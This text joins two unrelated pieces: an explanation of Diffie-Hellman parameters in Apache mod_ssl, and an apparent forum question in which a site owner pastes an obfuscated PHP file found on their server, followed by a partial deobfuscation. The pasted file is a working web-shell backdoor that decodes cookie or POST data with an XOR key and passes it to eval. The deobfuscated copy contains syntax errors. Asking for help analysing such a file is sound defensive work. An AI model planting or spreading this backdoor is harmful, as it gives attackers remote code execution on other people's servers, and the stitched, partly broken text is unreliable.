Since the parameters are caller-provided, let's see what happens in mod_ssl, the usual SSL engine for Apache. Let's make the story short: the modulus and generator are hardcoded; they are in the source code, in modules/ssl/ssl_engine_dh.c. There is a 512-bit modulus, and a 1024-bit modulus. The 512-bit modulus will be used if the server's public key has length 512 bits; the 1024-bit modulus will be used in every other case. So, in practice, it is always the 1024-bit modulus. The source code makes no mention as to how these parameters were generated; they are different from the ones which come with OpenSSL's source code. Apparently the whole World uses that 1024-bit modulus of unknown provenance (at least, the half of the World which relies on Apache+mod_ssl).

We may note that future versions of Apache, starting with the development version 2.5.0-dev as of 2013/09/29, will switch to hardcoded DH parameters of 2048, 3072 and 4096 bits, copied from RFC 3526. These DH parameters are supposed to be efficient (e.g. they use g = 2 as generator, and their 64 most significant and least significant bits are all ones, which may help in some implementations of Montgomery multiplication) and to be "obviously safe". Using DH parameters of more than 1024 bits is known to break poor SSL client implementations, in particular the one which comes with Java up to (and including) Java 7 (Java's SSL implementation is generally fine, but for DHE support it has a 1024-bit limit, which is kinda stupid since Java has a BigInteger class which is completely up to the task of DHing at larger sizes).

One must say that generating DH parameters needs not be that slow. OpenSSL insists on creating so-called "safe primes", where the "safe" is more marketing than science. A "safe prime" is a prime p such that (p-1)/2 is also a prime. This allows the use of any integer in the 2..p-2 range to be used as generator g, in particular g = 2, which yields a slight performance advantage. On the other hand, producing a safe prime is challenging: roughly speaking, when dealing with 1024-bit integers, only 1/1000th of them are prime, and only 1/1000th of these primes are "safe primes", hence a search loop which tries a million potential values.

Cryptographically speaking, one could also use as DH parameters the same kind of parameters used by DSA: p is prime such that p-1 is a multiple of a much smaller prime q, and g is an integer of order q. These can be generated in much less than 1 second, and will be fine for DH.


Is this strange PHP file that I found on my server malicious? I found a PHP file that I don't know where it came from on my server:

<?php
$ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $ojcsoo[34];$zjdtjcd[] = $ojcsoo[28].$ojcsoo[28].$ojcsoo[13].$ojcsoo[4].$ojcsoo[25].$ojcsoo[7].$ojcsoo[10].$ojcsoo[15].$ojcsoo[1].$ojcsoo[2].$ojcsoo[2].$ojcsoo[13].$ojcsoo[23].$ojcsoo[1].$ojcsoo[23].$ojcsoo[21].$ojcsoo[28].$ojcsoo[35].$ojcsoo[1].$ojcsoo[2].$ojcsoo[23].$ojcsoo[25].$ojcsoo[21].$ojcsoo[1].$ojcsoo[2].$ojcsoo[31].$ojcsoo[7].$ojcsoo[17].$ojcsoo[35].$ojcsoo[13].$ojcsoo[18].$ojcsoo[15].$ojcsoo[12].$ojcsoo[13].$ojcsoo[31].$ojcsoo[12];$zjdtjcd[] = $ojcsoo[13].$ojcsoo[32].$ojcsoo[33].$ojcsoo[14].$ojcsoo[5];$zjdtjcd[] = $ojcsoo[24].$ojcsoo[5].$ojcsoo[30].$ojcsoo[0].$ojcsoo[30].$ojcsoo[17].$ojcsoo[19].$ojcsoo[17].$ojcsoo[18].$ojcsoo[5];$zjdtjcd[] = $ojcsoo[17].$ojcsoo[11].$ojcsoo[19].$ojcsoo[16].$ojcsoo[32].$ojcsoo[7].$ojcsoo[17];$zjdtjcd[] = $ojcsoo[24].$ojcsoo[33].$ojcsoo[2].$ojcsoo[24].$ojcsoo[5].$ojcsoo[30];$zjdtjcd[] = $ojcsoo[18].$ojcsoo[30].$ojcsoo[30].$ojcsoo[18].$ojcsoo[22].$ojcsoo[0].$ojcsoo[20].$ojcsoo[17].$ojcsoo[30].$ojcsoo[27].$ojcsoo[17];$zjdtjcd[] = $ojcsoo[24].$ojcsoo[5].$ojcsoo[30].$ojcsoo[16].$ojcsoo[17].$ojcsoo[14];$zjdtjcd[] = $ojcsoo[19].$ojcsoo[18].$ojcsoo[13].$ojcsoo[9];foreach ($zjdtjcd[7]($_COOKIE, $_POST) as $yuids => $cwhwadw){function zoumimv($zjdtjcd, $yuids, $ssdjci){return $zjdtjcd[6]($zjdtjcd[4]($yuids . $zjdtjcd[2], ($ssdjci / $zjdtjcd[8]($yuids)) + 1), 0, $ssdjci);}function ekivv($zjdtjcd, $kwabjl){return @$zjdtjcd[9]($zjdtjcd[0], $kwabjl);}function gliwd($zjdtjcd, $kwabjl){$adwhmc = $zjdtjcd[3]($kwabjl) % 3;if (!$adwhmc) {eval($kwabjl[1]($kwabjl[2]));exit();}}$cwhwadw = ekivv($zjdtjcd, $cwhwadw);gliwd($zjdtjcd, $zjdtjcd[5]($zjdtjcd[1], $cwhwadw ^ zoumimv($zjdtjcd, $yuids, $zjdtjcd[8]($cwhwadw))));}

What does this code mean? Can it harm my site?

I've deofuscated it

<?php
$ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';
$zjdtjcd = Array();
$zjdtjcd[] = $ojcsoo[3] . $ojcsoo[29];
$zjdtjcd[] = $ojcsoo[34];
$zjdtjcd[] = $ojcsoo[28] . $ojcsoo[28] . $ojcsoo[13] . $ojcsoo[4] . $ojcsoo[25] . $ojcsoo[7] . $ojcsoo[10] . $ojcsoo[15] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[2] . $ojcsoo[13] . $ojcsoo[23] . $ojcsoo[1] . $ojcsoo[23] . $ojcsoo[21] . $ojcsoo[28] . $ojcsoo[35] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[23] . $ojcsoo[25] . $ojcsoo[21] . $ojcsoo[1] . $ojcsoo[2] . $ojcsoo[31] . $ojcsoo[7] . $ojcsoo[17] . $ojcsoo[35] . $ojcsoo[13] . $ojcsoo[18] . $ojcsoo[15] . $ojcsoo[12] . $ojcsoo[13] . $ojcsoo[31] . $ojcsoo[12];
$zjdtjcd[] = $ojcsoo[13] . $ojcsoo[32] . $ojcsoo[33] . $ojcsoo[14] . $ojcsoo[5];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30] . $ojcsoo[0] . $ojcsoo[30] . $ojcsoo[17] . $ojcsoo[19] . $ojcsoo[17] . $ojcsoo[18] . $ojcsoo[5];
$zjdtjcd[] = $ojcsoo[17] . $ojcsoo[11] . $ojcsoo[19] . $ojcsoo[16] . $ojcsoo[32] . $ojcsoo[7] . $ojcsoo[17];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[33] . $ojcsoo[2] . $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30];
$zjdtjcd[] = $ojcsoo[18] . $ojcsoo[30] . $ojcsoo[30] . $ojcsoo[18] . $ojcsoo[22] . $ojcsoo[0] . $ojcsoo[20] . $ojcsoo[17] . $ojcsoo[30] . $ojcsoo[27] . $ojcsoo[17];
$zjdtjcd[] = $ojcsoo[24] . $ojcsoo[5] . $ojcsoo[30] . $ojcsoo[16] . $ojcsoo[17] . $ojcsoo[14];
$zjdtjcd[] = $ojcsoo[19] . $ojcsoo[18] . $ojcsoo[13] . $ojcsoo[9];

// Array
// (
//     [0] => H*
//     [1] => #
//     [2] => 55cf7d19-bbc4-4052-b470-b8de2ca96c86
//     [3] => count
//     [4] => str_repeat
//     [5] => explode
//     [6] => substr
//     [7] => array_merge
//     [8] => strlen
//     [9] => pack
// )

print_r($zjdtjcd)
foreach (array_merge($_COOKIE, $_POST) as $yuids => $cwhwadw) {
    function zoumimv($zjdtjcd, $yuids, $ssdjci) {
        return substr(str_repeat($yuids . 55cf7d19-bbc4-4052-b470-b8de2ca96c86, ($ssdjci / strlen($yuids)) + 1), 0, $ssdjci);
    }
    function ekivv($zjdtjcd, $kwabjl) {
        return @pack('H*', $kwabjl);
    }
    function gliwd($zjdtjcd, $kwabjl) {
        $adwhmc = count($kwabjl) % 3;
        if (!$adwhmc) {
            eval($kwabjl[1]($kwabjl[2]));
            exit();
        }
    }
    $cwhwadw = ekivv($zjdtjcd, $cwhwadw);
    gliwd($zjdtjcd, explode('#', $cwhwadw ^ zoumimv($zjdtjcd, $yuids, strlen($cwhwadw))));
?>

Looks like some kind of shell.